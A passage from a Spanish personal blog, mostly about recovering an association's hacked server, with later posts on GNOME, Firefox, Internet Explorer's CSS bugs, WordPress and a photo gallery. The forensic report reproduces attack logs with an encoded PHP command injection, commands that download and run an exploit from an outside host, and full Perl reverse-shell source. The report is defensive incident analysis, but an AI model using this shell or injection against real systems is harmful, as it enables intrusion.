  • El ordenador no arranca del CD. Limpio el CD. nada. Limpio el CD. Empieza a leerlo, muestra la pantalla de ubuntu, y casca al seguir tratando de leer. No me creo que un puto ordenador nuevo con una regrabadora de DVD no pueda leer el puto CD
  • Me cago en mi mala suerte.
  • Me cago en mi estampa.
  • Busco otro lector de CDs por el garito. No encuentro ninguno suelto. Desmonto el de un ordenador por ahí tirado y lo pongo en el nuevo. No funciona tampoco: este lectos ni siquiera abre la bandeja
  • Se me hacen las putas 22:30 en la escuela.
  • Abandono y mañana seguiré con ello.
  • Como por la noche me aburro, sigo con el tema.
  • Tenía una copia del /var/lib/mysql en el disco duro externo.
  • Me hago con unos paquetes deb de la misma versión que la DB de cero, y con los binarios tras algo de sudor logro hacer un dump (esta vez sin errores de las bases de datos)
  • Restauro la web del congreso (una versión antigua del diseño, aunque el contenido es de DB y no se ha perdido nada) y la web de eurielec.
  • Corrijo varios errores a raíz del nuevo PHP y nueva versión de mysql instaladas.

Las cosas empiezan a funcionar: Miércoles

  • Me echan un cable y ponen en el nuevo ordenador un lector de CDs decente.
  • Arranco con el CD de Ubuntu, monto todo intentando aclararme de qué partición es cada cosa.
  • Restauramos el correo de forma provisional, copiando los .procmailrc’s y .forward de cada uno al server de correo (uno) para que guarde el correo en el /home local, pero lo haga bien, y reenviando los mensajes que la gente se quiere enviar fuera.
  • Llega el momento de copiar los datos al nuevo servidor. Me doy cuenta que lo mejor va a ser copiarlo por NFS, y la Ubuntu no trae nfs en el disco de instalación.
  • Tuesto una Gentoo minimal, que en 60 megas tiene de todo, incluído server nfs, ssh y demás.
  • Vuelvo a montar todo, y empiezo a copiar los homes (un tar de 38 gigas, ahí es nada).
  • Acaba ya muy tarde, y copio otras cosas (los crontabs, el /etc, los scripts y programas personalizados de la asociación, etc…)
  • Restauramos todo salvo los jomes, que cuando estén hay que juntar las carpetas de correo antiguas con el nuevo correo que ha ido llegando.
  • Ya en casa sigo restaurando aplicaciones web, con sumo cuidado (pues sospechamos que la entrada fue via web, y se hicieron root con el local root exploit recientemente encontrado en el kernel).
  • Empezamos a restaurar los blogs.
  • Me doy cuenta que la he cagado con los homes. Estaban en RAID 1, con dos discos en paralelo con copias idénticas, para que si uno falla no se pierda la información. Desgraciadamente una de las particiones había dado un error, y cuando pasa eso, linux automáticamente saca la partición de array raid (se deja de usar), y por lo tanto se queda con información antigua.
  • ¿Adivináis de qué partición había recuperado los homes?
  • De la que estaba con información antigua. Bueno, habrá que volverlos a copiar mañana

Venga que ya queda poco: Jueves

  • Copio los homes buenos al servidor (Otros 39 gigas de tar, y luego descomprimirlo).
  • Ya por la tarde todo parece listo para restaurar los homes:
    • Renombro los public_html, para que todo el mundo revise que aplicaciones web tiene instaladas allí.
    • Quitamos los directorios .ssh, que han podido ser comprometidos
    • Paramos el servidor de correo, añadimos el correo nuevo recibido a las carpetas antiguas, y volvemos a montar los homes en el servidor de correo. Despues arrancamos el servidor de correo.
  • El resto de máquinas del garito vuelven a montar los homes y a estar operativas.

Relax: Viernes

  • Empiezo a recibir millones de agradecimientos por el curro de estos días en mi correo.
  • Restauramos lo que vamos viendo que falta, aplicaciones, las bases de datos bajo demanda.
  • Ponemos a funcionar de nuevo los blogs, y yo empiezo a probar el wordpress.
  • Curro mucho mucho en la Beca.
  • Unos pocos nos vamos de tapeo, que a pesar de los exámente aún hay gente que se anima.

Día en familia + hacking: Sábado

  • Paso un tranquilo día en familia.
  • Por la noche, entre los múltiples cafés del día, el haber dormido hasta muy tarde, y que soy un vampiro y duermo muy poco, me pongo a hacer análisis forense del servidor, aburrido de dar vueltas en la cama.
  • A las 7:54am envío el report del análisis forense, contento de haber encontrado las pistas para saber cómo y por donde entraron:
    	

    Parece que la controladora del nuevo ordenador es algo mejor que la del antiguo cero, y no se cuelga leyendo de disco, aunque tenga sectores chungos como pasaba con la máquina física de cero. Con dd conv=noerror he sacado una copia de toda la partición var de cero, y he recuperado ficheros con las reiserfsck –rebuild-tree -S.

    Así he recuperado varias cosillas, la mayoría dañadas por que se trasteó demasiado con la partición en vez de apagar el equipo.

    Pero lo mejor de todo es:

    201.0.138.5 - - [15/Jan/2005:18:50:44 +0100] “GET /viewtopic.php?t=10&highlight=%2527%252esystem(chr(101)% 252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(73)% 252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(59)% 252echr(105)%252echr(100)%252echr(59)%252echr(117)%252echr(110)% 252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)% 252echr(97)%252echr(59)%252echr(101)%252echr(99)%252echr(104)% 252echr(111)%252echr(32)%252echr(70)%252echr(73)%252echr(77))%252e%2527 HTTP/1.1″ 404 301 “-” “Linux”

    Traducción una vez convertidos los caracteres unicode e interpretado el código php:

    echo INICIO;id;uname -a;echo FIM

    Todas las entradas similares que he encontrado son (ya traducidas):

    Desde: 201.0.138.5 (201-0-138-5.dial-up.telesp.net.br) [15/Jan/2005:18:50:44 +0100] echo INICIO;id;uname -a;echo FIM [15/Jan/2005:18:54:06 +0100] echo INICIO;id;uname -a;echo FIM

    Desde: 81.196.69.192 (81-196-69-192.constanta.cablelink.ro) [16/Jan/2005:17:12:16 +0100] uname -a;id;pwd;

    Desde: 213.174.51.72 (k043.ims-firmen.de) [16/Jan/2005:06:07:15 +0100] echo INICIO;id;uname -a;echo FIM [16/Jan/2005:06:11:03 +0100] echo INICIO;lwp-download -a http://geocities.yahoo.com.br/dominusvis/xpl/cb.txt /tmp/cb;echo FIM Yupieeeeeeee!! aquí se baja el exploit! [16/Jan/2005:06:12:57 +0100] echo INICIO;perl /tmp/cb 200.191.250.34 21;echo FIM Y aquí lo ejecuta… [15/Jan/2005:05:21:19 +0100] echo INICIO;id;uname -a;echo FIM [15/Jan/2005:06:10:38 +0100] echo INICIO;id;uname -a;echo FIM

    El cb ese es un script cutre y salchicero para poner una shell en el puerto 21:

    —————————————————————- #!/usr/bin/perl use strict; use Socket;

    #———————————————————> # # Infektion Group Back Shell # Codigo baseado no artigo sobre sockets # escrito por Rahul Chauhan : www.devshed.com e no bsh # escrito por Shellc0de :) # # Obrigado a todos! # # <escrito por Dominus Vis> # #———————————————————>

    if(@ARGV < 2){ die("Uso: $0 ip portan"); }

    # inicializa alvo e porta my $host = shift || $ARGV[0]; my $port = shift || $ARGV[1]; my $proto = getprotobyname(’tcp’);

    # pega o endereço da porta my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr);

    # cria o socket e conecta ao alvo socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die “socket: $!"; connect(SOCKET, $paddr) or die “connect: $!"; if(fork() == 0){ #cloca o processo ativo open(STDIN, “>&SOCKET"); open(STDOUT, “>&SOCKET"); open(STDERR, “>&SOCKET"); system("/bin/sh -i"); #executa /bin/sh -i no alvo! close(STDIN); close(STDOUT); close(STDERR); } —————————————————————-

    Lo que no me queda claro es si lograron entrar por ahí, o tendrían que lanzar más comandos, por que en el puerto 21, ejecutándose como www-data no creo que pudieran poner una shell (y deberían saberlo, que para eso lanzan el id…

    Luego debieron ponerlo en el puerto del irc, que no requiere ser root, entrar como www-data y hacerse root con el bug del kernel que salió anunciado recientemente.

    La web http://geocities.yahoo.com.br/dominusvis/ es de lo más cutre, con unos cuantos scripts para poner de página web y ejecutar comandos en remoto (las imagenes tb son scripts, no imágenes reales, supongo que para que geocities no les añada la publicidad chunga) y unas cuantas aplicaciones de tipo scanner para windozes….

    Por cierto, 213.174.51.72 es una máquina linux, con 3246 días de uptime (aunque se puede fakear), y burradas como tener el mysql abierto. Debía ser también hackeable, y supongo que nuestros amigos brasileños la usaron de pasarela (lo de FIM, FIN en brasileño les delata un poco):

    Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2005-01-23 07:23 CET Interesting ports on k043.ims-firmen.de (213.174.51.72): (The 1627 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 7/tcp filtered echo 11/tcp filtered systat 15/tcp filtered netstat 19/tcp filtered chargen 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 67/tcp filtered dhcpserver 69/tcp filtered tftp 79/tcp filtered finger 80/tcp open http 111/tcp filtered rpcbind 119/tcp filtered nntp 135/tcp filtered msrpc 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds 515/tcp filtered printer 617/tcp filtered sco-dtmgr 901/tcp filtered samba-swat 1214/tcp filtered fasttrack 1248/tcp filtered hermes 1433/tcp filtered ms-sql-s 1434/tcp filtered ms-sql-m 2001/tcp filtered dc 2002/tcp filtered globe 3306/tcp open mysql 4660/tcp filtered mosmig 6346/tcp filtered gnutella 6699/tcp filtered napster Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux Kernel 2.4.0 - 2.5.20 Uptime 3.246 days (since Thu Jan 20 01:29:25 2005)

    No, el puerto 21 es un ftp normal, no una shell… que ha sido lo primero que he probado. :)))

    Estoy por denunciar la primera IP de todas al proveedor, a ver si les hacen algo, por que tenía pinta de no ser un server que ya hubieran hackeado.

    Saludosssssssssssssss!

    – !) bisho! -=] 23/01/2005 [=- ! ‘, _ ! ) ·> ? ) :: Don’t promote SW Monopolies. Say NO to software :: ,???—’ :: patents :: [ PEACE ] :: EuropeSwPatentFree Demostration: :: ……:: http://online-demo.org ::

Como se ve, la semana pasada fueron unos días para olvidar. Estrés, agobio, y mucho mucho curro.

Después de todo te queda una sensación agria, y mucho desprecio para las personas que se dedican a joder servidores ajenos. Encima en este caso por un supuesto grupo en contra del “racismo” y la “guerra", que luego emplea la misma guerra, cibernética, pero guerra, y todo sin consideraciones de ningún tipo, por que si se hubieran fijado habrían visto muestras del papel activo de nuestra asociación contral la guerra.

Bueno, ya pasó, y esa despreciable gente no se merece ni un minuto más de nuestro tiempo.

Gnome o KDE

De frikis/Hacking — 12/01/2005 @ 04:25

Ya ha salido la segunda edición de The Gnome Journal, con unos cuantos artículos interesantes, como el de cómo trabajar con recursos remotos o el de Galago - Presence for the Linux Desktop, que nos da pistas de cómo serán los escritorios linux del futuro.

Pero el que mas gracia me ha hecho ha sido el de Experimental Culture que analiza un poco la cultura que hay en torno a GNOME, e incluye la genial cita de Derek sobre la diferencia entre programadores de Gnome y KDE:

“[KDE is developed in] a big room somewhere in Europe with lots of chrome and glass and a great big whiteboard in the front with lots of tiny, neat writing on it. There are about 50 desks, each with headphones and pristine workstations, also with a lot of chrome and glass. The faint sound of classical music permeates the room, accompanying the clicky-click of 50 programmers typing or quietly talking in one of the appropriately assigned meeting areas.

~

[GNOME] Development strategies are generally determined by whatever light show happens to be going on at the moment, when one of the developers will leap up and scream *‘I WANT IT TO LOOK JUST LIKE THAT’* and then straight-arm his laptop against the wall in an hallucinogenic frenzy before vomiting copiously, passing out and falling face-down in the middle of the dance floor. There’s no whiteboard, so developers diagram things out in the puddles of spilt beer, urine and vomit on the floor.

¿Ya sabéis qué escritorio uso yo? Como pista podéis rebuscar en los archivos, que en el de los regalos de navidad aparecía mi mesa de trabajo… jejeje.

De todas formas como comenta el artículo, ahora las cosas parece que están más bien al revés, con Gnome con planes de lanzamientos definidos, reglas de usabilidad estrictas, etc y KDE con mil desarrollos. En mi opinión sigue quedando de ese espíritu de trabajo “a impulsos” de Gnome, y siempre se desarrolla en lo que más “mola", dejando lo “rollo” para dentro de 4 o 5 releases… Lo que se ha tardado por ejemplo en tener un diálogo de abrir ficheros medio decente, frente a cómo se está trabajando a lo loco en los sistemas de búsqueda de información o temas de presencia online con messengers y similares.

Usenet en Google

De frikis/Hacking — 10/01/2005 @ 13:31

Google ha añadido a sus conocidas páginas de estadísticas sobre búsquedas, el Zeitgeist, un resumen de los mensajes más importantes enviados a Usenet en los 20 años de archivos que tiene almacenados, accesibles gracias a Google Groups.

Una manera diferente de ver la historia de los pasados 20 añitos.

Explorer == kk

De frikis/Hacking — 4/01/2005 @ 14:14

El explorer es una mierdaParece que Chema despues de pelearse para diseñar una página accesible ha llegado a la misma conclusión que yo ya tenía desde hace siglos y expresé en mi blog hace poco.

Es más, yo también tuve que luchar lo indecible para hacer la web del congreso de EESTEC de 2005 accesible y correctamente renderizada en explorer.

Sin embargo existen trucos y workarrounds para que funcionen cosas en explorer. Ojo, eso no quiere decir que el explorer esté bien, más bien al revés. Significa que se puede hacer bien, y ellos no son capaces o no tienen interés.

En concreto uno de los hacks más potentes es el IE7 Fix de Dean Edwards, que implementa gran parte de CSS2 usando javascript y demás parafernalias chungas del explorer.

Entre lo corregido destaca:

  • CSS2/3 Selectors
  • Fixed Positioning
  • Box-Model
  • (including min/max-width/height)
  • Generated Content
  • PNG Transparency
  • Broken HTML Tags

Lo único malo es una serie de refrescos que se pueden ver al cargar la página en explorer, pero bueno, el mundo de la informática no puede ser perfecto, sobre todo existiendo M$ en él.

No al Word

De frikis/Hacking — 21/12/2004 @ 16:47

Un profesor de la facultad de informática de la Coruña, del departamento de Computer Science, aparte de estar como una cabra (ver su página personal), también es un fiero defensor de los formatos de documentación libres, totalmente en contra de Word, Windows, Explorer, Outlook y otros programas propietarios y restrictivos.

En su página de prácticas probar a bajaros las mismas en el formato doc, siguiendo un enlace que hay al final de la página… ¡Aún me estoy partiendo!

Gimp 2.2

De frikis/Hacking — 20/12/2004 @ 17:56

¡Ya ha salido Gimp 2.2! Esta versión incluye muchísimas mejoras, por lo que recomiendo a todos probarla cuanto antes.

Al final la imagen ganadora para la pantalla de arranque del Gimp, para el que hubo un multitudinario concurso en el que participé, y sobre el que ya comenté, es ésta titulada “work in progress…":

Splash Screen ganador del gimp: 'work in progress...'

Firefox sigue en alza

De frikis/Hacking — 20/12/2004 @ 17:26

Como comenta chema, el anuncio de Firefox en el New York Times no sólo ha tenido repercusión entre los lectores de ese periódico, sino también en multitud de medios y weblogs (lista1 lista2). A pesar de la enorme que parece la lista, muchos otros blogs (por ejemplo el mío) se han quedado en el tintero, así que la repercusión ha sido mucho mayor.

De momento el contador de descargas ya ha superado los 12 millones: ¡1 millón más de descargas en menos de 4 días!

e-acojonao

De frikis/Hacking — 17/12/2004 @ 16:41
Explorer acojonado por firefox

La gente se aburre, ¿verdad?

Firefox en el NY Times

De frikis/Hacking — 16/12/2004 @ 16:46

Hoy aparece en el NY Times, uno de los periódicos más prestigiosos del mundo un anuncio a doble página sobre Firefox el navegador ligero, rápido y potentísimo de Mozilla.

No tendría mucho interés este acontecimiento, si no fuera por que se trata de un navegador completamente libre y gratuito, y Mozilla una organización sin ánimo de lucro.

Con el lanzamiento de la versión 1.0 se propuso el objetivo de conseguir 10 millones de descargas en un mes. Al final fueron necesarios un par de días más, pero fue en todo caso un gran éxito para un mundo gobernado por la tiranía monopolística de Microsoft y su horrible navegador Explorer, lleno de fallos, anticuado y falto de las características y avances realizados de los últimos tiempos.

10.000.000 de descargas 9 nov-11 dic (2004)

De esos 10.000.000 de usuarios que se bajaron una copia, a 10.000 entusiastas de ellos les convenció tanto, que fueron los que aportaron los fondos necesarios para el anuncio en el Times. Los nombres de todos ellos aparecen en la página izquierda del anuncio.

10.000 nombres para un anuncio

Pulsa para ver el anuncio completo.

¿Quiéres leer más sobre el anuncio?
¿Quiéres probar Firefox?
¿Ayudar a difundirlo?

¡Bájate el anuncio en PDF, imprímelo, y ponlo por tu oficina, escuela o lugares de trabajo!

Mierda de hardware

De frikis/Hacking — 15/12/2004 @ 16:00

Mierda de hardware… En el local de la asociaciación Eurielec tenemos unos cuantos ordenadores, bastante viejetes, y siempre están dando problemas.

Pero lo de las últimas semanas está siendo horrible. El router cada hora empezaba a perder paquetes y acababa bloqueándose sin explicación aparente, el mejor ordenador del club, un dual Athlon, con la placa petada, un pentium 4 que debería ir rápido, que se arrastra, hay uno que se reinicia a la más mínima vibración o roce, si le cae un sobre encima o alguien salta cerca, el mejor monitor que teníamos, uno de 17, también ha dejado de funcionar, multitud de ordenadores fastidiados, etc…

Y encima con todo el lío del congreso de EESTEC, con lo que nos puede perjudicar peder correo o que la gente no pueda consultar la web (tanto los posibles esponsors, o nosotros, cuando necesitamos enviar un correo o consultar un documento).

Al final parece que las cosas se van solucionando: Van a llevar el dual a ver que le pasa, y si se puede arreglar, otras cosas se resuelven con apaños, como el router, que ahora hemos puesto uno de los servidores en su lugar con 3 ips y una sóla tarjeta ethernet, y reinstalando algunos de los que estaban sin funcionar desde hace tanto con la estupenda distribución Ubuntu, que esperamos nos de muchos menos quebraderos de cabeza.

Ya veremos si logramos volver a tener todo funcionando, o antes se estropeará algo de nuevo. Grrr…

Al tajo

De frikis/Hacking — 10/12/2004 @ 04:48

Volvemos al tajo, a escribir en este diario, pues la vida sigue. Muchos son los temas que se han quedado en el tintero en los pasados días negros y mudos. Quizás recopile las viñetas más importantes y representativas de ese tiempo para hacer un resumen-crítica conjunta… ya veremos…

Pero para hoy mejor un tema ligero, como el concurso de Splash Screens de Gimp, el maravilloso programa libre y gratuito de retoque fotográfico sobre el que estoy impartiendo un curso en Eurielec. Se trata de buscar la mejor imagen de arranque para la inminente versión 2.2, que trae muchísimos avances y mejoras, y por tanto necesita de un buen splash screen.

Yo concurso con las siguientes imágenes:

Máscara 1

Máscara 2

Carro 1

Carro 2

Carro 3

Carro 4

Carro 5

Carro 6

La primera de todas no va mal en las puntuaciones, está entre las 30 primeras, de un total de 650 propuestas!. Si estás interesado consulta todas las imágenes y vota.

Calidad de los antivirus

De frikis/Hacking — 18/11/2004 @ 19:08

Todos las semanas recibo centenares de correos de parte del antivirus tal o pascual, que han instalado en la compañía X, diciendome que tengo virus que me desinfecte. Obviamente no soy yo, sino el virus de alguien que se dedica a mandar correos suplantando direcciones. Las alertas de ese tipo aparte de cutres, no generan más que ruido, y son otra forma de spam. Hacen puñetera publicidad de la marca de antivirus, por si no tuvieramos ya suficiente basura.

Hoy me he encontrado con otro exponente de la pésima calidad de esos programas. Así no me extraña que proliferen los virus de esa manera. Resulta que envío un pdf a un cliente, acabado en .xml.pdf (son pdf que genero con xml-fo a partir de un xml hecho a medida para crear documentos propios). Pues bien, va y el antivirus dice que el mensaje tiene virus.

¿Por qué? por la doble extensión. Al ser .xml.pdf el antivirus se piensa que estoy intentando engañar al usuario, para que piense que es un xml cuando es un pdf (puta manía del windows de ocultar las extensiones). Me gustaría que alguien me explicase el peligro de cualquiera de las dos extensiones, un pdf no es que sea muy peligroso. Si envío un .xml.exe entiendo que el antivirus grite, pero… ¿un pdf?… En fin, que fue renombrar el fichero para que sólo acabara en .pdf, y mensaje libre de virus. Que patético.

Explorer == mierda

De frikis/Hacking — 12/11/2004 @ 22:42

Me he tirado innumerables horas de esta semana luchando con el CSS para tratar que el Explorer renderice bien una página perfectamente compatible con los estándares (Pasaba los tests de XHTML 1.0 Strict, CSS, y WAI).

Microsoft se ha dormido en los laureles desde que, abusando de su monopolio en los sistemas operativos, logró desbancar a Netscape en la guerra de los navegadores: sin apenas innovación, ni correcciones, ni mejoras. Para que luego digan que el las leyes anti-monopolio frenan la investigación.

El soporte de CSS de explorer no sólo es incompleto sino plagado de errores incomprensibles. Por ejemplo que un div con la propiedad float multiplique por dos el margin que le pongas. Hay muchos otros problemas, con sus workarounds más o menos chapuceros. A pesar de todo se sigue usando, y mucho, aunque parece que sus problemas de seguridad, y falta de innovaciones le están haciendo perder posiciones poco a poco, un 9% en lo que va de año, mientras Mozilla gana un 9.5% y casi duplica su base de usuarios.

Con todo esto aprovecho para recomendar a todo el mundo que pruebe el nuevo Firefox 1.0 recientemente lanzado. Rápido, potente, cómodo, filtra pop-ups, múltiples extensiones… Probarlo, los desarrolladores de páginas webs os lo agradeceremos eternamente.

Firefox 1.0
Firefox 1.0

Se un negado… llegarás lejos

De frikis/Hacking — 8/11/2004 @ 11:40

Todo el mundo es un experto...Increíble la incapacidad técnica de los “expertos” que puedes encontrar en España. No voy a decir nombres, pero os pongo en situación:

Un cliente tiene contratado un housing para una máquina linux. Ellos administran la máquina y garantizan la seguridad, así que las subidas de la máquina de pruebas a la de explotación las tienen que hacer ellos, y sólo ellos. Nadie más tiene acceso a esa máquina.

Aparte que me parece poco efectiva la seguridad de ese método, pues dudo que se pongan a analizar el código de los ficheros que les mandan pasar a explotación, es un método lentísimo, el tener que decirles sube tal fichero o tal otro, y que incluso no puedas gestionar la base de datos con un phpmyadmin…

Pues bien, les mandé un mail diciendo que subieran unos ficheritos php, y ejecutaran el SQL de otro ficherillo. Al rato me mandan un mail diciendo:

Buenas tardes,

Ya teneis los ficheros xxxx.php y xxxx.php en producción.

xxxx.sql ha dado un errror de sintaxis al ejecutarlo:

mysql> xxxx.sql;
ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘xxxx.sql’ at line 1

Un saludo.

Ver la mugnionada de el supuesto “experto” encargado de la subida se deja como ejercicio para el lector, como pista, “xxxx.sql” no es comando sql que yo conozca…

En fin… Paciencia…

Blacklist de WordPress

De frikis/Hacking — 2/11/2004 @ 03:34

Chema proponía en su blog este código para implementar el blacklisting en WordPress:

$blacklists = $wpdb->get_results("SELECT domain FROM blacklist");
$blacklisted = 0;
foreach ($blacklists as $blacklist) {
$regex = ‘/’.$blacklist->domain.’/i’;
if (@preg_match($regex, $url))
$blacklisted = 1;
if (@preg_match($regex, $email))
$blacklisted = 1;
if (@preg_match($regex, $comment))
$blacklisted = 1;
if (@preg_match($regex, $user_ip))
$blacklisted = 1;
}
if ($blacklisted == 1)
exit(’Stop spamming, you sub-human piece of shit’);

Pero mucho más eficiente es:

$blacklists = $wpdb->get_results("SELECT domain FROM blacklist");
$blacklisted = 0;
foreach ($blacklists as $blacklist) {
$regex = ‘/’.$blacklist->domain.’/i’;
if (@preg_match($regex, $url))
$blacklisted = 1;
elseif (@preg_match($regex, $email))
$blacklisted = 1;
elseif (@preg_match($regex, $comment))
$blacklisted = 1;
elseif (@preg_match($regex, $user_ip))
$blacklisted = 1;
if ($blacklisted == 1)
exit(’Stop spamming, you sub-human piece of shit’);
}

Así en cuanto coincide algún regexp el bucle acaba inmediatamente y se cancela la ejecución de la página, en vez de continuar comprobando todas las expresiones del bucle y todos los if’s cada vez. Parece que no, pero con listas de expresiones regulares extensas, el tiempo de proceso ahorrado puede ser considerable.

Experimentando con interfaces

De frikis/Hacking — 20/10/2004 @ 03:00

Estos días he estado experimentando y pensando en la actual interfaz de la chupigallery, que como muchos sabréis es una aplicación para gestionar galerías de fotos, que programamos hace tiempo Javier y yo.

En general la interfaz creo que está bastante lograda. Las galerías con las miniaturas de fotos, las páginas para mostrar fotos, con los datos interesantes de exposición de la cámara y la posibilidad de poner comentarios e incluso reconocer elementos o personas presentes en la foto, etc.

Sin embargo encontrar una galería en particular es sumamente complicado. En teoría hay una serie de catálogos “oficiosos", donde el administrador debería ir colgando las galerías de usuarios que sean interesantes para todos. Esto obviamente no pasa, y para buscar alguna hay que “intuir” que usuario creó la galería, buscarla por los catálogos del usuario… Un infierno. Las únicas galerías que ve la gente son las “Últimas galerías añadidas” por que se puede acceder a ellas con un sólo clic.

Por ello, he estado pensando qué sería necesario para ser capaz de encontrar fácilmente una galería:

  • Buscador
    Que permita buscar en los títulos de las galerías, y a lo mejor también buscar imágenes por sus títulos y descripciones.
    No tengo nada diseñado aún, pero podría estar en una página aparte. No es necesario que esté en la página de inicio.
  • Por usuario
    El sistema actual para navegar por las galerías de usuarios es bueno y debería mantenerse, ya que permite a cada usuario estructurar sus galerías en diferentes catálogos. Debería mejorarse no obstante la interfaz, para listar al menos los títulos de las galerías dentro de cada catálogo.
  • Por categorías
    Lo que ahora son los catálogos oficiales está claro que no funcionan. El administrador no puede estar haciendo seguimiento de las galerías añadidas y encargarse de clasificarlas.
    Por ello se debería migrar a un sistema de categorías. Cada usuario clasifica sus galerías asignándoles ciertas categorías. Por ejemplo a una galería de una fiesta de EESTEC se le podrían asignar ‘Viajes’, ‘Fiestas’ y ‘EESTEC’. Habría que pensar bien un árbol de categorías para cubrir el máximo de necesidades.
  • Por popularidad/novedad
    El sistema actual para ver las últimas galerías añadidas es muy útil. También sería interesante incluir un listado de las galerías más visitadas. Para no ocupar tanto espacio como actualmente, mi idea es dar un listado de títulos, y al pasar el ratón por encima se vería en un recuadro la imagen de referencia, datos de visitas, descripción, etc.
  • Por fecha
    No cabe duda que ser capaz de localizar las galerías por fecha es necesario. Actualmente no hay un buen soporte de fechas en la chupigallery, y el orden de los listados es un poco caótico.
    Más abajo se puede ver mi propuesta en este aspecto.
  • Por localización
    Cuando buscas las fotos de aquel viaje a Ljubljana, no recuerdas ni la fecha, ni quién subió la galería, ni cómo se le habrá ocurrido titular la galería. Te acuerdas de que era Ljubljana.
    Por ello es necesario una manera fácil de buscar por localización. El actual campo “place” de la chupigallery es inservible, por lo relajado de sus normal. Cosas como “casa de mengano” son habituales, y eso difícilmente sirve para localizar la ciudad.
    Más abajo se puede ver mi propuesta en este aspecto.

Propuesta de Interfaz

Las pruebas que he realizado se han centrado sobre todo en las interfaces de búsqueda por fecha y por localización. Se puede ver el ejemplo funcionando aquí. Lo que aún no hace es listar las galerías una vez seleccionado el mes o punto del mapa.

Propuesta de pantalla principal

El Timeline proporcionaría el acceso a las galerías por fechas. Las barras verticales encima de cada mes indicarían el número de galerías de ese mes. Se podrían ver por fecha de las fotos, o por la fecha de creación de la galería. Esta parte aún no coge información real de la base de datos.

La búsqueda por localización se realizaría a través del mapa. Pulsando en cualquier punto se amplía la zona, y los puntos rojos que marcan lugares donde hay galerías se hacen más grandes y son seleccionables. Las localizaciones como ya he dicho ya provienen de la base datos real, y hay 383 ciudades con coordenadas listas para asociar a las galerías de los usuarios, incluso varias localizaciones a una misma galería.

Una vez pulsado en un punto del mapa se mostraría:

Propuesta de busqueda por localización

Y pulsando en alguno de los meses del Timeline se mostraría:

Propuesta de busqueda por fecha

El código HTML (que es ciertamente complicado) y parte de la lógica para esta parte de la interfaz ya están listas (sobre todo la parte de localización, que es lo más complicado). Quedaría finalizarlas, incluir el navegar por catálogos de usuario, el listado mejorado de galerías recientes/más visitadas, y tendríamos una interfaz muchísimo más útil para nuestra querida chupigallery. ¿Alguien se apunta a colaborar?

Y por cierto, con lo que me ha costado luchar contra el CSS y demás mandangas, me juego todo a que en el Explorer se ve como el culo… ¿Para cuando Explorer piensa tener un soporte de CSS decente?. Acepto modificaciones para lograr que se vea medio decente en explorer.

Otras posibles mejoras

El modelo actual de catálogos y galerías se ha quedado un poco pobre. Sería deseable poder crear grupos de galerías directamente, que se comportarían como una sola en ‘últimas galerías añadidas’ y a la hora de asoaciar a un catálogo, pero permitirían estructurar grandes cantidades de fotos, por ejemplo de viajes, en varias galerías por días o actividades, sin tanto lío como ahora supone, que hay que crearlas todas, y luego añadirlas a un catálogo.

Quiero WordPress

De frikis/Hacking — 16/10/2004 @ 21:07

El perro de Chema parece que ha migrado a WordPress.

Y digo perro, por que fuí yo el primero que lo estuvo investigando, y, como muchas otras cosas, fue un proyecto quedó olvidado en el saco de las cosas por hacer y para las que nunca encuentras tiempo.

Y digo parece, por que hace cosas raras, y se ven todos los posts duplicados en Planeta Eurielec.

A ver si retomo la migración yo también, que estoy harto de spam, de los eternamente lentos rebuilds de los artículos para ver como narices quedan, y de usar un producto que encima no es libre.

Chupibetter

De frikis/Hacking — 16/10/2004 @ 21:00

El otro día tras subir un montón de galerías me di cuenta de lo lenta que iba la chupigallery.

Me puse a investigar, a poner debugs, timers, y a ejecutar con explain’s los queries que tardaban demasiado en ejecutarse (¡¡¡algunos más de 4 segundos!!!). Creé algunos índices que faltaban en la base de datos, cambié algun query, que por ejemplo hacía un ‘group by’ de una clave que no pertenecía a la tabla principal, e impedía el uso de los índices de la misma, etc…

Para colmo se estaban haciendo más queries de los necesarios. Se pedía información de visitas de las galerías y catálogos cuando sólo se pretendía mostrar una foto, que no muesta nada de eso. Aún se puede optimizar un poquito, que se siguen pidiendo demasiados datos de galerías, pero ya está mucho mejor.

Al final, ahora todas las páginas cargan en bastante menos de 1 segundo. Algunos joins siguen siendo lentos, y no consigo que bajen de 0.40 segundos, pero la mejora de velocidad es muy notable.

De todas formas me ha parecido muy lento en general el mysql con joins de tablas. Estamos usando la versión 4.0.13, y no se si probar con la 4.1, por que en la beca últimamente con un SQL Server no se hace otra cosa que jugar con queries enormes llenas de joins y demás parafernalia, y no van tan lentas… Si mysql no mejora en esto me da que no va a poder llegar a mucho en el mundo empresarial. Y no estamos hablando de una base de datos enorme… la chupigallery sólo tiene a fecha de hoy 21.406 fotografías.

No llegó el «FAT»idico día

De frikis/Hacking — 30/09/2004 @ 19:07

Afortunadamente han denegado la solicitud de patente sobre el arcaico sistema de ficheros FAT de MS, gracias a la Public Patent Foundation.

Con esta patente, más que beneficios económicos, el bloquear y poner impedimentos al Software Libre. Las tasas que planeaba cobrar por el uso de la tecnología eran bastante bajas, US$0.25 por unidad fabricada, con un límite $250.000, que no es dinero para las grandes empresas. Pero sin embargo la necesidad de licencias podría dejar al software libre sin poder acceder a las tarjetas de memorias, disquetes y otros dispositivos.

Lo que más fastidiaba de todo esto, es que siendo un penoso sistema de ficheros, lento, sin permisos, de poca capacidad y estrictos límites en los nombres de los ficherso, se ha convertido en un estándar.

Sólo me queda dedicar a nuestra MS un sonoro :PPP

Gnome 2.8 is here!

De frikis/Hacking — 15/09/2004 @ 22:43
Gnome 2.8

[
Gnome
|
Todo sobre Gnome 2.8
|
Cosas nuevas
|
Análisis de la versión
]

Más routing

De frikis/Hacking — 14/09/2004 @ 14:54

Hoy se están volviendo a sufrir problemas de conectividad en la Escuela de Teleco, y jugando con el estupendo programa de traceroute mtr en un momento que la red si funcionaba observé la curiosa estructura de red de Google, en concreto a google.com:

                                                     Packets               Pings
